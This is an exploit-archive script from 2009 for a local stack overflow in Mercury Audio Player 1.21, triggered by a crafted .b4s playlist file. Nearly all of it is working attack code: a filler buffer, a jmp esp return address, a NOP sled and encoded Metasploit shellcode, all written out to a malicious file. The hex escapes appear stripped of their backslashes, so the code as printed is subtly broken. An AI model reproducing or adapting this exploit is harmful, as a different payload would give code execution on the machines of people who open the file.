[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mercury Audio Player 1.21 (.b4s) Local Stack Overflow Exploit
# Published : 2009-04-30
# Author : His0k4
# Previous Title : Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit
# Next Title : Mercury Audio Player 1.21 (.pls) SEH Overwrite Exploit
#usage: exploit.py
print "**************************************************************************"
print " Mercury Audio Player 1.21 (.b4s) Local Stack Overflown"
print " Refer: http://www.milw0rm.com/exploits/8578"
print " Exploit code: His0k4"
print " Tested on: Windows XP Pro SP3 (EN)n"
print " greetz: TO ELITE ALGERIANS,snakespc.comn"
print "**************************************************************************"
header1 = (
"x3cx3fx78x6dx6cx20x76x65x72x73x69x6fx6ex3dx22x31"
"x2ex30x22x20x65x6ex63x6fx64x69x6ex67x3dx27x55x54"
"x46x2dx38x27x20x73x74x61x6ex64x61x6cx6fx6ex65x3d"
"x22x79x65x73x22x3fx3ex0dx0ax3cx21x2dx2dx20x54x68"
"x65x20x74x61x67x20x62x65x6cx6fx77x20x70x72x6fx76"
"x69x64x65x73x20x63x6fx6dx70x61x74x69x62x69x6cx69"
"x74x79x20x77x69x74x68x20x57x69x6ex61x6dx70x33x20"
"x2dx2dx3ex0dx0ax20x3cx57x69x6ex61x6dx70x58x4dx4c"
"x3ex0dx0ax3cx21x2dx2dx20x47x65x6ex65x72x61x74x65"
"x64x20x62x79x20x4dx65x72x63x75x72x79x20x41x75x64"
"x69x6fx20x50x6cx61x79x65x72x20x31x2ex32x31x20x2d"
"x2dx3ex0dx0ax20x20x3cx70x6cx61x79x6cx69x73x74x20"
"x6ex75x6dx5fx65x6ex74x72x69x65x73x3dx22x31x22x20"
"x6cx61x62x65x6cx3dx22x50x6cx61x79x6cx69x73x74x20"
"x30x30x31x22x3ex0dx0ax20x20x20x20x3cx65x6ex74x72"
"x79x20x50x6cx61x79x73x74x72x69x6ex67x3dx22x66x69"
"x6cx65x3a")
header2 = (
"x2ex6dx70x33x22x3ex0dx0ax20x20x20x20x20x20x3cx4e"
"x61x6dx65x3ex20x2dx20x3cx2fx4ex61x6dx65x3ex0dx0a"
"x20x20x20x20x3cx2fx65x6ex74x72x79x3ex0dx0ax20x20"
"x3cx2fx70x6cx61x79x6cx69x73x74x3ex0dx0ax20x3cx2f"
"x57x69x6ex61x6dx70x58x4dx4cx3ex0dx0a")
buff = "x41" * 800
jump = "x67x86x86x7C" # jmp esp kernerl32.dll
nops = "x90"*6
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x50x42x30x42x50x4bx38x45x54x4ex53x4bx38x4ex47"
"x45x30x4ax37x41x50x4fx4ex4bx58x4fx54x4ax31x4bx58"
"x4fx45x42x32x41x30x4bx4ex49x54x4bx48x46x43x4bx38"
"x41x30x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c"
"x46x47x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx33x46x35x46x42x46x30x45x37x45x4ex4bx58"
"x4fx55x46x52x41x50x4bx4ex48x36x4bx48x4ex50x4bx54"
"x4bx38x4fx35x4ex31x41x30x4bx4ex4bx38x4ex31x4bx58"
"x41x50x4bx4ex49x38x4ex35x46x52x46x30x43x4cx41x43"
"x42x4cx46x46x4bx48x42x34x42x43x45x48x42x4cx4ax47"
"x4ex50x4bx48x42x34x4ex30x4bx48x42x47x4ex51x4dx4a"
"x4bx38x4ax46x4ax30x4bx4ex49x30x4bx58x42x38x42x4b"
"x42x30x42x30x42x30x4bx48x4ax36x4ex53x4fx55x41x43"
"x48x4fx42x46x48x55x49x58x4ax4fx43x58x42x4cx4bx37"
"x42x35x4ax46x42x4fx4cx48x46x50x4fx45x4ax46x4ax59"
"x50x4fx4cx58x50x50x47x35x4fx4fx47x4ex43x56x41x56"
"x4ex56x43x36x42x30x5a")
exploit = header1 + buff + jump + nops + shellcode + header2
try:
out_file = open("exploit.b4s",'w')
out_file.write(exploit)
out_file.close()
raw_input("nExploit file created!n")
except:
print "Error"
# www.Syue.com [2009-04-30]